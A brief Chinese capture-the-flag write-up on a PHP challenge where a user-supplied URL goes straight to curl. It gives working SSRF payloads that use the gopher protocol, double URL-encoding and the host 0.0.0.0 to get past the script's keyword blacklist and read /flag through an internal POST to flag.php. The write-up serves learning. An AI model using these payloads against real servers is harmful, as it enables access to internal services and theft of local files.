前言
[SSRF|gopher]
群里看到的题
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_GET['url'];
if(preg_match('/127.0.0.1|dict|file|ftp|ftps|https/',$url)){
die('想都别想');
}//flag.php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
echo $output;
curl_close($ch);
题解
直接访问flag.php,显然需要SSRF
这里需要利用gopher协议。
首先随便访问下flag.php,抓个包。删掉没用的请求头,注意最后要留两个\r\n
CyberChef手操
然后开CyberChef。
需要先将\n
替换成\r\n
,因为复制下来默认都是\n
。
再进行两次urlencode,因为gopher会urldecode一次,curl又会urldecode一次。
gopher://0.0.0.0:80/_GET%2520/flag.php%2520HTTP/1.1%250D%250AHost:%25200.0.0.0%250D%250A%250D%250A
再去访问,拿到源码,后续一致
扔到CyberChef里
注意,因为检测file
,所以对file
中的e
再进行两次urlencode
最终payload
gopher://0.0.0.0:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost:%25200.0.0.0%250D%250AContent-Type:%2520application/x-www-form-urlencoded%250D%250AContent-Length:%252011%250D%250A%250D%250Afil%2565s=/flag
BurpSuite一键
其实也可以在bp里直接进行两次URL-encode all characters
然后直接打!